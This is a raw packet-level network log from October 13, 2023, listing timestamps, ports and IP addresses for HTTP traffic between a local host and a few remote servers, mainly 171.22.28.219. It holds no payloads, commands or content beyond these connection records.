Oct 13, 2023 16:06:14.733803034 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.733823061 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.733835936 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.733863115 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.733863115 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.733880043 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.733884096 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.733916044 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.733927011 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.733931065 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.733978033 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.733978987 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.734019041 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.734065056 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.734066963 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.734078884 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.734124899 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.734174013 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.734205008 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.734216928 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.734252930 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.734255075 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.734297991 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.734330893 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.734344006 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.734389067 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.734390020 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.734401941 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.734456062 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.734543085 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.734579086 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.734622955 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.734622955 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.734673023 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.734719992 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.734721899 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.734736919 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.734780073 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.734803915 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.734816074 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.734858036 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.755894899 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:14.890161037 CEST	80	49787	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:14.890245914 CEST	49787	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:14.904652119 CEST	80	49785	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:14.904700994 CEST	49785	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:14.910080910 CEST	49787	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:15.063534975 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.063555002 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.063666105 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.063709021 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.063739061 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.063803911 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.063834906 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.063847065 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.063858986 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.063893080 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.063925028 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.063951015 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.063975096 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.064038992 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.064080954 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.064085960 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.064127922 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.064176083 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.064201117 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.064217091 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.064263105 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.064306021 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.064349890 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.064395905 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.064431906 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.064469099 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.064517021 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.064542055 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.064603090 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.064652920 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.064668894 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.064727068 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.064778090 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.064791918 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.064914942 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.064964056 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.065010071 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.065026045 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.065071106 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.065171957 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.065184116 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.065231085 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.065273046 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.065325975 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.065372944 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.065521002 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.065536022 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.065546989 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.065582037 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.065615892 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.065653086 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.065663099 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.065722942 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.065769911 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.065781116 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.065846920 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.065886021 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.065893888 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.065963030 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.066009045 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.066040993 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.066092014 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.066139936 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.066153049 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.066196918 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.066243887 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.066258907 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.066339016 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.066379070 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.066386938 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.066416979 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.066462994 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.066488028 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.066518068 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.066577911 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.066625118 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.066694975 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.066740990 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.066766977 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.066852093 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.066895962 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.066899061 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.066978931 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.067023993 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.067025900 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.067069054 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.067118883 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.067136049 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.067188025 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.067231894 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.067233086 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.067276955 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.067327023 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.067358017 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.067425966 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.067444086 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.067481995 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.067492008 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.067543030 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.067554951 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.067626953 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.067673922 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.067713022 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.067728996 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.067775011 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.067811966 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.067852974 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.067905903 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.067931890 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.067982912 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.068031073 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.068063021 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.068106890 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.068154097 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.068156004 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.068214893 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.068232059 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.068265915 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.068348885 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.068720102 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.264523983 CEST	80	49787	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:15.278264999 CEST	80	49787	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:15.278484106 CEST	49787	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:15.393590927 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.393682957 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.393743992 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.393754959 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.393815041 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.393861055 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.393871069 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.393925905 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.393970966 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.394004107 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.394052982 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.394095898 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.394108057 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.394159079 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.394201040 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.394206047 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.394253969 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.394299984 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.394371986 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.394383907 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.394454956 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.394480944 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.394541979 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.394586086 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.394617081 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.394666910 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.394711971 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.394737959 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.394790888 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.394836903 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.394844055 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.394918919 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.394963026 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.394979000 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.395056009 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.395101070 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.395116091 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.395205975 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.395247936 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.395256042 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.395349026 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.395392895 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.395448923 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.395478964 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.395519972 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.395541906 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.395601034 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.395651102 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.395694017 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.395771980 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.395813942 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.395860910 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.395936012 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.395977974 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.396043062 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.396087885 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.396130085 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.396187067 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.396292925 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.396337986 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.396399021 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.396472931 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.396517038 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.396549940 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.396641970 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.396688938 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.396763086 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.396903992 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.396946907 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.397027969 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.397144079 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.397187948 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.397203922 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.397300959 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.397345066 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.397386074 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.397458076 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.397500992 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.397567987 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.397644997 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.397686958 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.397768021 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.397870064 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.397918940 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.397952080 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.398035049 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.398083925 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.398108006 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.398186922 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.398230076 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.398262978 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.398377895 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.398423910 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.398452997 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.398941994 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.398988008 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.399034977 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.399152994 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.399199009 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.399249077 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.399328947 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.399382114 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.399413109 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.399528027 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.399569988 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.399602890 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.399693012 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.399736881 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.399777889 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.399874926 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.399913073 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.399945021 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.400048018 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.400093079 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.400135994 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.400244951 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.400289059 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.400350094 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.400398970 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.400440931 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.400475025 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.400558949 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.400623083 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.400660992 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.400758028 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.400805950 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.400856972 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.400876045 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.400918007 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.400959015 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.401073933 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.401115894 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.401160955 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.401251078 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.401293993 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.401335001 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.401446104 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.401488066 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.401552916 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.401586056 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.401628017 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.401660919 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.401711941 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.401753902 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.401792049 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.401839018 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.401881933 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.401925087 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.402040005 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.402084112 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.402143955 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.402235985 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.402278900 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.402311087 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.402375937 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.402417898 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.402493954 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.402559996 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.402601004 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.402658939 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.402741909 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:15.402784109 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:15.402827978 CEST	80	49784	171.22.28.219	192.168.2.4
